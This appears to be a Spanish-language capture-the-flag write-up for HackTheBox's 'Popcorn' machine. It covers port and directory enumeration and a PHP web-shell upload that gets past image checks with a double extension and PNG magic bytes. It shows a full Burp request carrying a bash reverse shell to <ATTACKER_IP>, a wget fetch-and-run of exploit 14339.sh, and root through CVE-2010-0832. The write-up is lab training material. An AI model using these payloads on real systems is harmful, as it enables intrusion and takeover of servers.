
Write-up de Popcorn HTB que cubre fuzzing avanzado de directorios, bypass de subida de archivos mediante números mágicos/engaño de extensión usando Burp Suite, y escalada de privilegios mediante CVE-2010-0832 (manipulación de archivos PAM MOTD).
Fecha: 05 de junio de 2026
Dificultad: Fácil
Plataforma: HackTheBox
Técnicas Clave: Enumeración de Puertos y Servicios, Fuzzing de Directorios (Gobuster), Evasión de Subida de Archivos, Manipulación de Solicitudes HTTP (Burp Suite), Ejecución Remota de Código (RCE), Estabilización Avanzada de Shell TTY (Python), Explotación Local de Kernel/PAM (Manipulación de Archivos MOTD).
Comenzamos realizando un escaneo rápido de puertos TCP en los 65,535 puertos (-p-) para localizar puntos de entrada abiertos. Optimizamos la velocidad de ejecución usando --min-rate 5000 y omitimos la resolución DNS y los sondeos de ping para agilizar el proceso en un entorno de auditoría:
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>
El escaneo inicial descubre de manera fiable dos puertos abiertos: el puerto 22 (SSH) y el puerto 80 (HTTP).
A continuación, realizamos un escaneo dirigido y profundo en los puertos identificados para determinar las versiones exactas de los servicios y ejecutar los scripts estándar y básicos de vulnerabilidad de Nmap:
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>
De la salida, extraemos información crítica sobre el ecosistema objetivo:
OpenSSH 5.1 Debian 6ubuntu2 (Indica una distribución Ubuntu Linux significativamente antigua).Apache httpd 2.2.12Antes de interactuar con la aplicación web a través del navegador, añadimos la dirección IP objetivo al archivo /etc/hosts de nuestra máquina atacante para limpiar la asignación de dominios y asegurar que las redirecciones internas se resuelvan correctamente:
<VICTIM_IP> popcorn.htb
Luego ejecutamos un descubrimiento automatizado de directorios ocultos usando gobuster junto con la lista de palabras de tamaño mediano clásica de DirBuster:
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt
La fase de fuzzing descubre las siguientes rutas accesibles en el servidor web de la víctima:
/index (Página de inicio estándar)./test (Panel de pruebas o archivo de información de desarrollo)./torrent (Una plataforma web completamente funcional dedicada a alojar y compartir archivos torrent)./response (Página de respuesta interna).Explorar el directorio /torrent revela un CMS de intercambio de torrents. Para interactuar con las funciones de subida, nos registramos e iniciamos sesión en una cuenta válida creada en el momento. Tras publicar un archivo .torrent legítimo, la plataforma habilita una opción para editar los detalles del torrent y subir una imagen de captura promocional. Este formulario específico se convierte en nuestro vector de ataque principal.
Para lograr la Ejecución Remota de Código (RCE), pasamos por una serie de fases de prueba, analizando el comportamiento del backend usando Burp Suite (Repeater) :
Interceptamos la solicitud de subida de la captura y modificamos el nombre del archivo a exploit.php. Intentamos insertar una webshell de una línea clásica en el cuerpo del archivo:
<?php system($_GET['cmd']) ?>
Resultado: El servidor web devuelve un error interno de ejecución debido a un punto y coma ; faltante al final de la instrucción PHP, rompiendo el flujo de ejecución.
Corregimos la sintaxis a <?php system($_GET['cmd']); ?>, pero dado que la solicitud se envía mediante POST (usando multipart/form-data), intentamos pasar nuestro comando directamente dentro de la URL del encabezado (POST /torrent/upload_file.php?cmd=whoami).
Resultado: El servidor web lanza el siguiente error:
Cannot execute a blank command
Análisis: Durante el análisis de la subida del archivo, el backend ignora por completo las variables GET presentes en la URL. El script upload_file.php escribe el archivo en disco pero inmediatamente intenta ejecutar la función interna. Como no recibe nada en las variables del cuerpo esperadas, $_GET['cmd'] se procesa como vacío.
Para eludir los filtros básicos de verificación de extensiones que verifican si el archivo es una imagen válida, renombramos el archivo a innocent.php.png y codificamos un payload de reverse shell para que no dependa de parámetros externos:
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
Resultado: El servidor responde con un 200 OK exitoso indicando:
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.
Análisis: Si bien logró evadir el filtro inicial, dado que el archivo terminaba estrictamente con una extensión .png, el servidor Apache lo trató como una imagen estática ordinaria. Al navegar hacia él, el navegador simplemente imprime los bytes brutos como texto plano; Apache nunca pasa el archivo al intérprete PHP, lo que significa que nuestro listener de Netcat nunca captura una conexión.
Sabiendo que el servidor necesita analizar la extensión .php para activar la ejecución de código, invertimos el orden de las extensiones (innocent.png.php), mantenemos intacto el encabezado Content-Type: image/png, y anteponemos la firma PNG o Números Mágicos (PNG) al inicio del cuerpo del archivo para engañar las comprobaciones de validación de contenido del backend:
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--
Resultado: El servidor web acepta limpiamente el archivo, procesa la extensión final y lo guarda dentro del directorio de subida con el nombre innocent.php:
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.
Debido a que el script de subida solo almacena el archivo en disco sin ejecutarlo dentro del contexto de la solicitud POST de subida, desencadenamos una llamada independiente para forzar al servidor a leerlo:
nc -lvnp 4444
GET limpia en Burp):[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)
El servidor Apache se ve forzado a procesar el archivo, detecta las etiquetas PHP, ejecuta el payload de Bash, y la conexión se captura perfectamente en nuestro listener, otorgando acceso inicial como el usuario www-data.
Intentar escalar privilegios inmediatamente después de recibir la shell revela severas limitaciones del entorno:
www-data@popcorn:/$ su root
su: must be run from a terminal
El comando su requiere estrictamente una terminal interactiva real (TTY) para aceptar entrada de manera segura. Intentar forzar una mediante python3 indica que no está instalado en esta máquina heredada (The program 'python3' is currently not installed).
Evitamos este obstáculo utilizando el binario clásico de Python (Python 2) presente en la máquina y reconfigurando los descriptores de terminal de nuestra máquina atacante:
# 1. Generar una shell interactiva usando la ruta absoluta de Python heredado
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
# 2. Suspender el proceso de shell al fondo
Ctrl + Z
# 3. En nuestra terminal atacante, establecer el estado del teclado en modo raw y traer el listener de Netcat al primer plano
stty raw -echo; fg
# 4. Forzar una actualización de pantalla y mapear las variables de entorno de terminal para soporte de historial y autocompletado
reset xterm
export TERM=xterm
export SHELL=bash
Inspeccionamos la distribución del SO y la versión del Kernel de Linux que se ejecuta en la máquina víctima:
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux
www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l
El sistema operativo apunta a una versión antigua de Ubuntu (Karmic Koala), cuyo Kernel y paquetes principales contienen varias vulnerabilidades conocidas de escalada de privilegios locales.
Identificamos un vector altamente viable que involucra el análisis del mensaje del día de PAM (Linux PAM 1.1.0 - Escalada de Privilegios por Manipulación de Archivos MOTD, rastreado bajo CVE-2010-0832). Esta vulnerabilidad permite a usuarios locales manipular archivos propiedad de root mediante un manejo inseguro de enlaces simbólicos durante acciones de autenticación SSH local.
Aprovechamos el script de exploit público 14339.sh para automatizar la ruta de ataque.
searchsploit -m linux/local/14339.sh
python3 -m http.server 80
/tmp (que otorga permisos globales de lectura/escritura/ejecución), descargamos el script y lo hacemos ejecutable:cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root
El script finaliza su ejecución exitosamente, manipulando directamente la base de datos de usuarios locales en /etc/passwd.
Debido al funcionamiento interno del exploit, este no altera la contraseña de la cuenta de usuario root original. En su lugar, inyecta un nuevo usuario clon con privilegios de root al final del archivo /etc/passwd.
Confirmamos esto leyendo la última línea del archivo de usuarios:
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash
Nota: La configuración 0:0 (UID/GID) otorga a esta cuenta parámetros de identidad idénticos a los del administrador root.
Mientras ejecutar su root con la contraseña toor produce un error de Authentication failure porque la cuenta root original no ha sido modificada, nuestra shell TTY estabilizada con Python nos permite cambiar de usuario sin problemas apuntando a la cuenta clon personalizada:
www-data@popcorn:/tmp$ su toor
Password: toor
Ingresamos la contraseña (toor), transformando instantáneamente nuestro prompt de terminal en el identificador hash supremo (#):
root@popcorn:/tmp# whoami
toor
root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
La máquina objetivo está completamente comprometida. Ahora tenemos acceso administrativo para recolectar los hashes de bandera requeridos:
/home/george/user.txt/root/root.txt